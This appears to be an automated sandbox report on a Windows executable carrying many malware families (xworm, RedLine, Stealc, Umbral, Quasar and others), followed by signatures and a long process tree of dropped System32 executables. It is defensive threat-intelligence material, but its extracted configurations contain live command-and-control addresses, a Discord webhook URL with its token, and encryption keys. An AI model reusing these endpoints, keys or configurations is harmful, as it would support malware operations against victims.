Resubmissions
06/04/2026, 08:10
260406-j2pnqagy3t1029/03/2026, 10:47
260329-mvqh8adv3t1028/03/2026, 19:34
260328-yacmeag16x1028/03/2026, 13:09
260328-qd4laset3q1028/03/2026, 04:17
260328-ewrhxaaw2y1027/03/2026, 11:57
260327-n4tsnsbv7w1003/03/2026, 12:58
260303-p7phssaz3m10Analysis
- max time kernel
2s - max time network
156s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
03/03/2026, 12:58
General
- Target 77fb832052abc29f8392e50a83571fda0a9a44fc14c485bc9ae58b37ca51b00e.bin.exe
- Size 66.0MB
- Sample260303-p7phssaz3m
- SHA256 77fb832052abc29f8392e50a83571fda0a9a44fc14c485bc9ae58b37ca51b00e
Score
10/10
Malware Config
Extracted
Family
-
xworm
Version
-
3.0
C2
-
82.26.74.39:7000
Mutex
-
Pzco4SpJSHq0JUVI
Attributes
-
Install_directory
%AppData%
-
install_file
USB.exe
aes.plain
Extracted
Family
-
redline
Botnet
-
jajaja
C2
-
176.46.152.46:1911
Extracted
Family
-
neconyd
C2
-
http://ow5dirasuek.com/
-
http://mkkuei4kdsz.com/
-
http://lousta.net/
Extracted
Family
-
stealc
Botnet
-
avtostopom
C2
-
http://45.141.233.187
Attributes
-
url_path
/7d1ca61c169b4862.php
rc4.plain
Extracted
Family
-
smokeloader
Botnet
-
555
Extracted
Family
-
umbral
Version
-
v1.3
C2
-
https://discord.com/api/webhooks/1399894662365577257/NMqgSKeL5lfvgkhf3U7otcHEUlUdExlRehLumOM1uhIYrXB5YDsltdJihrITmZu28SVz
Extracted
Family
-
quasar
Version
-
1.4.1
Botnet
-
Office04
C2
-
understand-vip.gl.at.ply.gg:21304
Mutex
-
966bc060-4ea7-43bd-9b30-06988ea8ba79
Attributes
-
encryption_key
7FE83CB9F9DEA14FFA20DB6F8CD68A42656137B4
-
install_name
Cleaner.exe
-
key_salt
bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941
-
log_directory
Logs
-
reconnect_delay
3000
-
startup_key
MsEdge
-
subdirectory
SubDir
Extracted
Family
-
redline
Botnet
-
rdp
C2
-
mail-eco.gl.at.ply.gg:15149
Signatures
- Blackmoon family
- Blackmoon, KrBanker
Blackmoon also known as KrBanker is banking trojan first discovered in early 2014.
- Cobalt Strike reflective loader 1 IoCs
Detects the reflective loader used by Cobalt Strike.
- Cobaltstrike
Detected malicious payload which is part of Cobaltstrike.
- Cobaltstrike family
- Detect Blackmoon payload 15 IoCs
- Detect Xworm Payload 2 IoCs
- Detects Ligolo reverse tunneling tool 1 IoCs
- Detects MeshAgent payload 2 IoCs
- Detects Umbral payload 4 IoCs
- Floxif family
- Floxif, Floodfix
Floxif aka FloodFix is a file-changing trojan and backdoor written in C++.
- Ligolo
Ligolo is a cross-platform and an open-source reverse tunneling tool written in Golang .
- Ligolo family
- Lockbit
Ransomware family with multiple variants released since late 2019.
- Lockbit family
- MeshAgent
MeshAgent is an open source remote access trojan written in C++.
- Meshagent family
- Neconyd
Neconyd is a trojan written in C++.
- Neconyd family
- Quasar RAT
Quasar is an open source Remote Access Tool.
- Quasar family
- Quasar payload 4 IoCs
- Ramnit
Ramnit is a versatile family that holds viruses, worms, and Trojans.
- Ramnit family
- RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
- RedLine payload 6 IoCs
- Redline family
- Rule to detect Lockbit 3.0 ransomware Windows payload 1 IoCs
- SectopRAT
SectopRAT is a remote access trojan first seen in November 2019.
- SectopRAT payload 4 IoCs
- Sectoprat family
- SmokeLoader
Modular backdoor trojan in use since 2014.
- Smokeloader family
- Stealc
Stealc is an infostealer written in C++.
- Stealc family
- Umbral
Umbral stealer is an open-source modular stealer written in C#.
- Umbral family
- Xmrig family
- Xworm
Xworm is a remote access trojan written in C#.
- Xworm family
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Detects Floxif payload 1 IoCs
- XMRig Miner payload 64 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs
Using powershell.exe command.
- Disables one or more Microsoft Defender components 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Downloads MZ/PE file
- ACProtect 1.3x - 1.4x DLL software 1 IoCs
Detects file using ACProtect software.
- Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.
- Executes dropped EXE 5 IoCs
- Themida packer 13 IoCs
Detects Themida, an advanced Windows software protection system.
- Contacts third-party web service commonly abused for C2 1 TTPs 6 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
- Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Drops file in System32 directory 2 IoCs
- UPX packed file 64 IoCs
Detects executables packed with UPX/modified UPX open source packer.
- Detects Pyinstaller 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 10 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
- Inno Setup is an open-source installation builder for Windows applications. 1 IoCs
Inno Setup installer
- NSIS installer 2 IoCs
- Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
- Runs ping.exe 1 TTPs 1 IoCs
- Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\77fb832052abc29f8392e50a83571fda0a9a44fc14c485bc9ae58b37ca51b00e.bin.exe"C:\Users\Admin\AppData\Local\Temp\77fb832052abc29f8392e50a83571fda0a9a44fc14c485bc9ae58b37ca51b00e.bin.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\funny67.exe"C:\Users\Admin\AppData\Local\Temp\funny67.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\HqQLvtz.exeC:\Windows\System32\HqQLvtz.exe3⤵
- Executes dropped EXE
-
-
C:\Windows\System32\BRDobOw.exeC:\Windows\System32\BRDobOw.exe3⤵
-
-
C:\Windows\System32\hxkexFc.exeC:\Windows\System32\hxkexFc.exe3⤵
-
-
C:\Windows\System32\TGfXCvt.exeC:\Windows\System32\TGfXCvt.exe3⤵
-
-
C:\Windows\System32\VHaEhzI.exeC:\Windows\System32\VHaEhzI.exe3⤵
-
-
C:\Windows\System32\Ogiaaua.exeC:\Windows\System32\Ogiaaua.exe3⤵
-
-
C:\Windows\System32\oMNEPsm.exeC:\Windows\System32\oMNEPsm.exe3⤵
-
-
C:\Windows\System32\XfcNGNo.exeC:\Windows\System32\XfcNGNo.exe3⤵
-
-
C:\Windows\System32\cchjizB.exeC:\Windows\System32\cchjizB.exe3⤵
-
-
C:\Windows\System32\uOfACbY.exeC:\Windows\System32\uOfACbY.exe3⤵
-
-
C:\Windows\System32\LunGQoB.exeC:\Windows\System32\LunGQoB.exe3⤵
-
-
C:\Windows\System32\wQYmjZN.exeC:\Windows\System32\wQYmjZN.exe3⤵
-
-
C:\Windows\System32\OSrqhBJ.exeC:\Windows\System32\OSrqhBJ.exe3⤵
-
-
C:\Windows\System32\rQtbKtJ.exeC:\Windows\System32\rQtbKtJ.exe3⤵
-
-
C:\Windows\System32\wNBTSWO.exeC:\Windows\System32\wNBTSWO.exe3⤵
-
-
C:\Windows\System32\lkJNxEl.exeC:\Windows\System32\lkJNxEl.exe3⤵
-
-
C:\Windows\System32\bnJWRmE.exeC:\Windows\System32\bnJWRmE.exe3⤵
-
-
C:\Windows\System32\HTeEfGB.exeC:\Windows\System32\HTeEfGB.exe3⤵
-
-
C:\Windows\System32\kCcgaEX.exeC:\Windows\System32\kCcgaEX.exe3⤵
-
-
C:\Windows\System32\HBTCSMj.exeC:\Windows\System32\HBTCSMj.exe3⤵
-
-
C:\Windows\System32\dupTZvr.exeC:\Windows\System32\dupTZvr.exe3⤵
-
-
C:\Windows\System32\KziJryM.exeC:\Windows\System32\KziJryM.exe3⤵
-
-
C:\Windows\System32\olYzsME.exeC:\Windows\System32\olYzsME.exe3⤵
-
-
C:\Windows\System32\ogKfVub.exeC:\Windows\System32\ogKfVub.exe3⤵
-
-
C:\Windows\System32\NLCpSpj.exeC:\Windows\System32\NLCpSpj.exe3⤵
-
-
C:\Windows\System32\jhaSSAm.exeC:\Windows\System32\jhaSSAm.exe3⤵
-
-
C:\Windows\System32\ROCidxZ.exeC:\Windows\System32\ROCidxZ.exe3⤵
-
-
C:\Windows\System32\SOsKliG.exeC:\Windows\System32\SOsKliG.exe3⤵
-
-
C:\Windows\System32\qTVJSBC.exeC:\Windows\System32\qTVJSBC.exe3⤵
-
-
C:\Windows\System32\UjEcWvy.exeC:\Windows\System32\UjEcWvy.exe3⤵
-
-
C:\Windows\System32\yOYWeIw.exeC:\Windows\System32\yOYWeIw.exe3⤵
-
-
C:\Windows\System32\pRRlUjm.exeC:\Windows\System32\pRRlUjm.exe3⤵
-
-
C:\Windows\System32\mJoZLEO.exeC:\Windows\System32\mJoZLEO.exe3⤵
-
-
C:\Windows\System32\OJuAKZn.exeC:\Windows\System32\OJuAKZn.exe3⤵
-
-
C:\Windows\System32\KvdaClH.exeC:\Windows\System32\KvdaClH.exe3⤵
-
-
C:\Windows\System32\QFIYsiO.exeC:\Windows\System32\QFIYsiO.exe3⤵
-
-
C:\Windows\System32\ekMCmqf.exeC:\Windows\System32\ekMCmqf.exe3⤵
-
-
C:\Windows\System32\brYfKnu.exeC:\Windows\System32\brYfKnu.exe3⤵
-
-
C:\Windows\System32\GEQellF.exeC:\Windows\System32\GEQellF.exe3⤵
-
-
C:\Windows\System32\ePOxxGH.exeC:\Windows\System32\ePOxxGH.exe3⤵
-
-
C:\Windows\System32\DKsQGjD.exeC:\Windows\System32\DKsQGjD.exe3⤵
-
-
C:\Windows\System32\PHIEqxw.exeC:\Windows\System32\PHIEqxw.exe3⤵
-
-
C:\Windows\System32\FjeXkiU.exeC:\Windows\System32\FjeXkiU.exe3⤵
-
-
C:\Windows\System32\ZtJSRyX.exeC:\Windows\System32\ZtJSRyX.exe3⤵
-
-
C:\Windows\System32\OOVenXi.exeC:\Windows\System32\OOVenXi.exe3⤵
-
-
C:\Windows\System32\DBXcloW.exeC:\Windows\System32\DBXcloW.exe3⤵
-
-
C:\Windows\System32\QHsGupq.exeC:\Windows\System32\QHsGupq.exe3⤵
-
-
C:\Windows\System32\hbhnzco.exeC:\Windows\System32\hbhnzco.exe3⤵
-
-
C:\Windows\System32\zsnMtqv.exeC:\Windows\System32\zsnMtqv.exe3⤵
-
-
C:\Windows\System32\MLgSFAU.exeC:\Windows\System32\MLgSFAU.exe3⤵
-
-
C:\Windows\System32\aaFhYgI.exeC:\Windows\System32\aaFhYgI.exe3⤵
-
-
C:\Windows\System32\VfrSZtM.exeC:\Windows\System32\VfrSZtM.exe3⤵
-
-
C:\Windows\System32\ZVGmVWO.exeC:\Windows\System32\ZVGmVWO.exe3⤵
-
-
C:\Windows\System32\AhBoGUj.exeC:\Windows\System32\AhBoGUj.exe3⤵
-
-
C:\Windows\System32\XKuKSLP.exeC:\Windows\System32\XKuKSLP.exe3⤵
-
-
C:\Windows\System32\bxrXDCq.exeC:\Windows\System32\bxrXDCq.exe3⤵
-
-
C:\Windows\System32\vMteFaX.exeC:\Windows\System32\vMteFaX.exe3⤵
-
-
C:\Windows\System32\aOpCARJ.exeC:\Windows\System32\aOpCARJ.exe3⤵
-
-
C:\Windows\System32\JQyKHuj.exeC:\Windows\System32\JQyKHuj.exe3⤵
-
-
C:\Windows\System32\jlJYKUh.exeC:\Windows\System32\jlJYKUh.exe3⤵
-
-
C:\Windows\System32\xkuoHVj.exeC:\Windows\System32\xkuoHVj.exe3⤵
-
-
C:\Windows\System32\GgZmdtQ.exeC:\Windows\System32\GgZmdtQ.exe3⤵
-
-
C:\Windows\System32\WOkjaXu.exeC:\Windows\System32\WOkjaXu.exe3⤵
-
-
C:\Windows\System32\keUgYWp.exeC:\Windows\System32\keUgYWp.exe3⤵
-
-
C:\Windows\System32\vCCvkaJ.exeC:\Windows\System32\vCCvkaJ.exe3⤵
-
-
C:\Windows\System32\DXkuQWg.exeC:\Windows\System32\DXkuQWg.exe3⤵
-
-
C:\Windows\System32\DXRBPns.exeC:\Windows\System32\DXRBPns.exe3⤵
-
-
C:\Windows\System32\CpVfLrJ.exeC:\Windows\System32\CpVfLrJ.exe3⤵
-
-
C:\Windows\System32\aqdqFfv.exeC:\Windows\System32\aqdqFfv.exe3⤵
-
-
C:\Windows\System32\OkNiyex.exeC:\Windows\System32\OkNiyex.exe3⤵
-
-
C:\Windows\System32\xhHZKdD.exeC:\Windows\System32\xhHZKdD.exe3⤵
-
-
C:\Windows\System32\oySrlzR.exeC:\Windows\System32\oySrlzR.exe3⤵
-
-
C:\Windows\System32\djIFXNd.exeC:\Windows\System32\djIFXNd.exe3⤵
-
-
C:\Windows\System32\NOWNurO.exeC:\Windows\System32\NOWNurO.exe3⤵
-
-
C:\Windows\System32\CwSyaRI.exeC:\Windows\System32\CwSyaRI.exe3⤵
-
-
C:\Windows\System32\sNSmzYH.exeC:\Windows\System32\sNSmzYH.exe3⤵
-
-
C:\Windows\System32\aAuEIDM.exeC:\Windows\System32\aAuEIDM.exe3⤵
-
-
C:\Windows\System32\LTjZBmV.exeC:\Windows\System32\LTjZBmV.exe3⤵
-
-
C:\Windows\System32\EkaMwDv.exeC:\Windows\System32\EkaMwDv.exe3⤵
-
-
C:\Windows\System32\QtmFBWa.exeC:\Windows\System32\QtmFBWa.exe3⤵
-
-
C:\Windows\System32\WUMdbKi.exeC:\Windows\System32\WUMdbKi.exe3⤵
-
-
C:\Windows\System32\IvPeMFT.exeC:\Windows\System32\IvPeMFT.exe3⤵
-
-
C:\Windows\System32\SpTaTQo.exeC:\Windows\System32\SpTaTQo.exe3⤵
-
-
C:\Windows\System32\vNJnKhF.exeC:\Windows\System32\vNJnKhF.exe3⤵
-
-
C:\Windows\System32\LjToRub.exeC:\Windows\System32\LjToRub.exe3⤵
-
-
C:\Windows\System32\uWjoUdT.exeC:\Windows\System32\uWjoUdT.exe3⤵
-
-
C:\Windows\System32\ZxFgyEG.exeC:\Windows\System32\ZxFgyEG.exe3⤵
-
-
C:\Windows\System32\rzjlEgb.exeC:\Windows\System32\rzjlEgb.exe3⤵
-
-
C:\Windows\System32\rOwYqII.exeC:\Windows\System32\rOwYqII.exe3⤵
-
-
C:\Windows\System32\lVeQcEM.exeC:\Windows\System32\lVeQcEM.exe3⤵
-
-
C:\Windows\System32\zoBeJZU.exeC:\Windows\System32\zoBeJZU.exe3⤵
-
-
C:\Windows\System32\rWgSVRA.exeC:\Windows\System32\rWgSVRA.exe3⤵
-
-
C:\Windows\System32\kwUbRFY.exeC:\Windows\System32\kwUbRFY.exe3⤵
-
-
C:\Windows\System32\NtJSnLT.exeC:\Windows\System32\NtJSnLT.exe3⤵
-
-
C:\Windows\System32\hXuuSwc.exeC:\Windows\System32\hXuuSwc.exe3⤵
-
-
C:\Windows\System32\YgVkXfp.exeC:\Windows\System32\YgVkXfp.exe3⤵
-
-
C:\Windows\System32\KfUeBxL.exeC:\Windows\System32\KfUeBxL.exe3⤵
-
-
C:\Windows\System32\KfdgpFe.exeC:\Windows\System32\KfdgpFe.exe3⤵
-
-
C:\Windows\System32\GNQnsMr.exeC:\Windows\System32\GNQnsMr.exe3⤵
-
-
C:\Windows\System32\YDzMilE.exeC:\Windows\System32\YDzMilE.exe3⤵
-
-
C:\Windows\System32\GxTMvNa.exeC:\Windows\System32\GxTMvNa.exe3⤵
-
-
C:\Windows\System32\sWIEiuT.exeC:\Windows\System32\sWIEiuT.exe3⤵
-
-
C:\Windows\System32\hFtBHHm.exeC:\Windows\System32\hFtBHHm.exe3⤵
-
-
C:\Windows\System32\RdKRecr.exeC:\Windows\System32\RdKRecr.exe3⤵
-
-
C:\Windows\System32\DOdtPnf.exeC:\Windows\System32\DOdtPnf.exe3⤵
-
-
C:\Windows\System32\OUnFTcn.exeC:\Windows\System32\OUnFTcn.exe3⤵
-
-
C:\Windows\System32\DqEaCls.exeC:\Windows\System32\DqEaCls.exe3⤵
-
-
C:\Windows\System32\oReglPU.exeC:\Windows\System32\oReglPU.exe3⤵
-
-
C:\Windows\System32\oomJNdw.exeC:\Windows\System32\oomJNdw.exe3⤵
-
-
C:\Windows\System32\bEtxHmP.exeC:\Windows\System32\bEtxHmP.exe3⤵
-
-
C:\Windows\System32\BcaXppp.exeC:\Windows\System32\BcaXppp.exe3⤵
-
-
C:\Windows\System32\URiXvov.exeC:\Windows\System32\URiXvov.exe3⤵
-
-
C:\Windows\System32\GcsEJpP.exeC:\Windows\System32\GcsEJpP.exe3⤵
-
-
C:\Windows\System32\OLHSEXN.exeC:\Windows\System32\OLHSEXN.exe3⤵
-
-
C:\Windows\System32\eUGIUMs.exeC:\Windows\System32\eUGIUMs.exe3⤵
-
-
C:\Windows\System32\WBdADpQ.exeC:\Windows\System32\WBdADpQ.exe3⤵
-
-
C:\Windows\System32\TjgfmoX.exeC:\Windows\System32\TjgfmoX.exe3⤵
-
-
C:\Windows\System32\AVndomY.exeC:\Windows\System32\AVndomY.exe3⤵
-
-
C:\Windows\System32\zalGcRp.exeC:\Windows\System32\zalGcRp.exe3⤵
-
-
C:\Windows\System32\PeuGscF.exeC:\Windows\System32\PeuGscF.exe3⤵
-
-
C:\Windows\System32\PvZswGw.exeC:\Windows\System32\PvZswGw.exe3⤵
-
-
C:\Windows\System32\gUNkick.exeC:\Windows\System32\gUNkick.exe3⤵
-
-
C:\Windows\System32\CvlKvdv.exeC:\Windows\System32\CvlKvdv.exe3⤵
-
-
C:\Windows\System32\aphzBEb.exeC:\Windows\System32\aphzBEb.exe3⤵
-
-
C:\Windows\System32\VIrDJqs.exeC:\Windows\System32\VIrDJqs.exe3⤵
-
-
C:\Windows\System32\SmtHOjd.exeC:\Windows\System32\SmtHOjd.exe3⤵
-
-
C:\Windows\System32\GJvcLCu.exeC:\Windows\System32\GJvcLCu.exe3⤵
-
-
C:\Windows\System32\cijOEZt.exeC:\Windows\System32\cijOEZt.exe3⤵
-
-
C:\Windows\System32\LeqgHJn.exeC:\Windows\System32\LeqgHJn.exe3⤵
-
-
C:\Windows\System32\FstkRSO.exeC:\Windows\System32\FstkRSO.exe3⤵
-
-
C:\Windows\System32\ZcSULjn.exeC:\Windows\System32\ZcSULjn.exe3⤵
-
-
C:\Windows\System32\vZCAjtx.exeC:\Windows\System32\vZCAjtx.exe3⤵
-
-
C:\Windows\System32\CMzAXJn.exeC:\Windows\System32\CMzAXJn.exe3⤵
-
-
C:\Windows\System32\IpnoMVZ.exeC:\Windows\System32\IpnoMVZ.exe3⤵
-
-
C:\Windows\System32\DmDXMxg.exeC:\Windows\System32\DmDXMxg.exe3⤵
-
-
C:\Windows\System32\ogrQMKs.exeC:\Windows\System32\ogrQMKs.exe3⤵
-
-
C:\Windows\System32\AbddsHx.exeC:\Windows\System32\AbddsHx.exe3⤵
-
-
C:\Windows\System32\EtptcQj.exeC:\Windows\System32\EtptcQj.exe3⤵
-
-
C:\Windows\System32\EZQFRyl.exeC:\Windows\System32\EZQFRyl.exe3⤵
-
-
C:\Windows\System32\ByavLmM.exeC:\Windows\System32\ByavLmM.exe3⤵
-
-
C:\Windows\System32\idtpcJq.exeC:\Windows\System32\idtpcJq.exe3⤵
-
-
C:\Windows\System32\lLoYPiZ.exeC:\Windows\System32\lLoYPiZ.exe3⤵
-
-
C:\Windows\System32\xjMTJDs.exeC:\Windows\System32\xjMTJDs.exe3⤵
-
-
C:\Windows\System32\alqFuFK.exeC:\Windows\System32\alqFuFK.exe3⤵
-
-
C:\Windows\System32\OneGZsQ.exeC:\Windows\System32\OneGZsQ.exe3⤵
-
-
C:\Windows\System32\DbgMdlj.exeC:\Windows\System32\DbgMdlj.exe3⤵
-
-
C:\Windows\System32\EnfyRFb.exeC:\Windows\System32\EnfyRFb.exe3⤵
-
-
C:\Windows\System32\pZEdegL.exeC:\Windows\System32\pZEdegL.exe3⤵
-
-
C:\Windows\System32\srYJmVh.exeC:\Windows\System32\srYJmVh.exe3⤵
-
-
C:\Windows\System32\jceSInL.exeC:\Windows\System32\jceSInL.exe3⤵
-
-
C:\Windows\System32\nhkLjcY.exeC:\Windows\System32\nhkLjcY.exe3⤵
-
-
C:\Windows\System32\EbNiEut.exeC:\Windows\System32\EbNiEut.exe3⤵
-
-
C:\Windows\System32\FdvtmRd.exeC:\Windows\System32\FdvtmRd.exe3⤵
-
-
C:\Windows\System32\aTStTtF.exeC:\Windows\System32\aTStTtF.exe3⤵
-
-
C:\Windows\System32\QwNexvt.exeC:\Windows\System32\QwNexvt.exe3⤵
-
-
C:\Windows\System32\ZSvDXfC.exeC:\Windows\System32\ZSvDXfC.exe3⤵
-
-
C:\Windows\System32\NvTgink.exeC:\Windows\System32\NvTgink.exe3⤵
-
-
C:\Windows\System32\scUlwjk.exeC:\Windows\System32\scUlwjk.exe3⤵
-
-
C:\Windows\System32\lNiIYiG.exeC:\Windows\System32\lNiIYiG.exe3⤵
-
-
C:\Windows\System32\DxgaXIW.exeC:\Windows\System32\DxgaXIW.exe3⤵
-
-
C:\Windows\System32\PNFVyPT.exeC:\Windows\System32\PNFVyPT.exe3⤵
-
-
C:\Windows\System32\JXtntmX.exeC:\Windows\System32\JXtntmX.exe3⤵
-
-
C:\Windows\System32\VdLEqbV.exeC:\Windows\System32\VdLEqbV.exe3⤵
-
-
C:\Windows\System32\VFImcfK.exeC:\Windows\System32\VFImcfK.exe3⤵
-
-
C:\Windows\System32\qUmexBE.exeC:\Windows\System32\qUmexBE.exe3⤵
-
-
C:\Windows\System32\admmKMV.exeC:\Windows\System32\admmKMV.exe3⤵
-
-
C:\Windows\System32\VzYSdEk.exeC:\Windows\System32\VzYSdEk.exe3⤵
-
-
C:\Windows\System32\SLlgUXl.exeC:\Windows\System32\SLlgUXl.exe3⤵
-
-
C:\Windows\System32\MaRwKmP.exeC:\Windows\System32\MaRwKmP.exe3⤵
-
-
C:\Windows\System32\HgqOBTB.exeC:\Windows\System32\HgqOBTB.exe3⤵
-
-
C:\Windows\System32\xgeNiYa.exeC:\Windows\System32\xgeNiYa.exe3⤵
-
-
C:\Windows\System32\wPyENGW.exeC:\Windows\System32\wPyENGW.exe3⤵
-
-
C:\Windows\System32\IbDpXvp.exeC:\Windows\System32\IbDpXvp.exe3⤵
-
-
C:\Windows\System32\vYVfcLX.exeC:\Windows\System32\vYVfcLX.exe3⤵
-
-
C:\Windows\System32\yBBnTgY.exeC:\Windows\System32\yBBnTgY.exe3⤵
-
-
C:\Windows\System32\JuLKVtL.exeC:\Windows\System32\JuLKVtL.exe3⤵
-
-
C:\Windows\System32\HozOAmv.exeC:\Windows\System32\HozOAmv.exe3⤵
-
-
C:\Windows\System32\ziXWUfx.exeC:\Windows\System32\ziXWUfx.exe3⤵
-
-
C:\Windows\System32\FdAisxi.exeC:\Windows\System32\FdAisxi.exe3⤵
-
-
C:\Windows\System32\NrCzMzE.exeC:\Windows\System32\NrCzMzE.exe3⤵
-
-
C:\Windows\System32\HcRIPSS.exeC:\Windows\System32\HcRIPSS.exe3⤵
-
-
C:\Windows\System32\pnvfOLi.exeC:\Windows\System32\pnvfOLi.exe3⤵
-
-
C:\Windows\System32\znnjYNY.exeC:\Windows\System32\znnjYNY.exe3⤵
-
-
C:\Windows\System32\WOeZjuK.exeC:\Windows\System32\WOeZjuK.exe3⤵
-
-
C:\Windows\System32\gWkTvQB.exeC:\Windows\System32\gWkTvQB.exe3⤵
-
-
C:\Windows\System32\sPZpScV.exeC:\Windows\System32\sPZpScV.exe3⤵
-
-
C:\Windows\System32\LlZCUsZ.exeC:\Windows\System32\LlZCUsZ.exe3⤵
-
-
C:\Windows\System32\XyWrrDS.exeC:\Windows\System32\XyWrrDS.exe3⤵
-
-
C:\Windows\System32\Degakoo.exeC:\Windows\System32\Degakoo.exe3⤵
-
-
C:\Windows\System32\fRXNiIK.exeC:\Windows\System32\fRXNiIK.exe3⤵
-
-
C:\Windows\System32\HdZqbsl.exeC:\Windows\System32\HdZqbsl.exe3⤵
-
-
C:\Windows\System32\yYHkFsv.exeC:\Windows\System32\yYHkFsv.exe3⤵
-
-
C:\Windows\System32\RqMQKXu.exeC:\Windows\System32\RqMQKXu.exe3⤵
-
-
C:\Windows\System32\FHbKQcJ.exeC:\Windows\System32\FHbKQcJ.exe3⤵
-
-
C:\Windows\System32\KQvzInA.exeC:\Windows\System32\KQvzInA.exe3⤵
-
-
C:\Windows\System32\NeInlua.exeC:\Windows\System32\NeInlua.exe3⤵
-
-
C:\Windows\System32\GMmmeft.exeC:\Windows\System32\GMmmeft.exe3⤵
-
-
C:\Windows\System32\vmqnVaM.exeC:\Windows\System32\vmqnVaM.exe3⤵
-
-
C:\Windows\System32\RgtmOcZ.exeC:\Windows\System32\RgtmOcZ.exe3⤵
-
-
C:\Windows\System32\HVJllpt.exeC:\Windows\System32\HVJllpt.exe3⤵
-
-
C:\Windows\System32\HQXvPvp.exeC:\Windows\System32\HQXvPvp.exe3⤵
-
-
C:\Windows\System32\tDQSuVq.exeC:\Windows\System32\tDQSuVq.exe3⤵
-
-
C:\Windows\System32\hsDHFgw.exeC:\Windows\System32\hsDHFgw.exe3⤵
-
-
C:\Windows\System32\wccWmbt.exeC:\Windows\System32\wccWmbt.exe3⤵
-
-
C:\Windows\System32\oEAXFMq.exeC:\Windows\System32\oEAXFMq.exe3⤵
-
-
C:\Windows\System32\lPHtAId.exeC:\Windows\System32\lPHtAId.exe3⤵
-
-
C:\Windows\System32\wzFThlB.exeC:\Windows\System32\wzFThlB.exe3⤵
-
-
C:\Windows\System32\HvDsEUj.exeC:\Windows\System32\HvDsEUj.exe3⤵
-
-
C:\Windows\System32\opOdWwn.exeC:\Windows\System32\opOdWwn.exe3⤵
-
-
C:\Windows\System32\JtWZRuB.exeC:\Windows\System32\JtWZRuB.exe3⤵
-
-
C:\Windows\System32\lPyLhmJ.exeC:\Windows\System32\lPyLhmJ.exe3⤵
-
-
C:\Windows\System32\QhumAGO.exeC:\Windows\System32\QhumAGO.exe3⤵
-
-
C:\Windows\System32\wRyWcpp.exeC:\Windows\System32\wRyWcpp.exe3⤵
-
-
C:\Windows\System32\FgCkDHe.exeC:\Windows\System32\FgCkDHe.exe3⤵
-
-
C:\Windows\System32\qzIvTqb.exeC:\Windows\System32\qzIvTqb.exe3⤵
-
-
C:\Windows\System32\NPuTNsM.exeC:\Windows\System32\NPuTNsM.exe3⤵
-
-
C:\Windows\System32\FQQvMou.exeC:\Windows\System32\FQQvMou.exe3⤵
-
-
C:\Windows\System32\SoyfTvb.exeC:\Windows\System32\SoyfTvb.exe3⤵
-
-
C:\Windows\System32\zfoizBE.exeC:\Windows\System32\zfoizBE.exe3⤵
-
-
C:\Windows\System32\gzryFjh.exeC:\Windows\System32\gzryFjh.exe3⤵
-
-
C:\Windows\System32\txKtnBj.exeC:\Windows\System32\txKtnBj.exe3⤵
-
-
C:\Windows\System32\bHyHwlG.exeC:\Windows\System32\bHyHwlG.exe3⤵
-
-
C:\Windows\System32\PjonSHH.exeC:\Windows\System32\PjonSHH.exe3⤵
-
-
C:\Windows\System32\pZMUMZR.exeC:\Windows\System32\pZMUMZR.exe3⤵
-
-
C:\Windows\System32\WQMVnZb.exeC:\Windows\System32\WQMVnZb.exe3⤵
-
-
C:\Windows\System32\fFoLurq.exeC:\Windows\System32\fFoLurq.exe3⤵
-
-
C:\Windows\System32\gkHMtcw.exeC:\Windows\System32\gkHMtcw.exe3⤵
-
-
C:\Windows\System32\HogCQLc.exeC:\Windows\System32\HogCQLc.exe3⤵
-
-
C:\Windows\System32\pWBUFKX.exeC:\Windows\System32\pWBUFKX.exe3⤵
-
-
C:\Windows\System32\hpXfVFW.exeC:\Windows\System32\hpXfVFW.exe3⤵
-
-
C:\Windows\System32\nVCgqoB.exeC:\Windows\System32\nVCgqoB.exe3⤵
-
-
C:\Windows\System32\rHtHPfF.exeC:\Windows\System32\rHtHPfF.exe3⤵
-
-
C:\Windows\System32\OvbhZDY.exeC:\Windows\System32\OvbhZDY.exe3⤵
-
-
C:\Windows\System32\EjxWsrx.exeC:\Windows\System32\EjxWsrx.exe3⤵
-
-
C:\Windows\System32\ZVZkbor.exeC:\Windows\System32\ZVZkbor.exe3⤵
-
-
C:\Windows\System32\tJTKPkD.exeC:\Windows\System32\tJTKPkD.exe3⤵
-
-
C:\Windows\System32\dygfvnM.exeC:\Windows\System32\dygfvnM.exe3⤵
-
-
C:\Windows\System32\dNrmFzP.exeC:\Windows\System32\dNrmFzP.exe3⤵
-
-
C:\Windows\System32\RojclKb.exeC:\Windows\System32\RojclKb.exe3⤵
-
-
C:\Windows\System32\mWIlrmq.exeC:\Windows\System32\mWIlrmq.exe3⤵
-
-
C:\Windows\System32\lCghSGM.exeC:\Windows\System32\lCghSGM.exe3⤵
-
-
C:\Windows\System32\DTeRiMy.exeC:\Windows\System32\DTeRiMy.exe3⤵
-
-
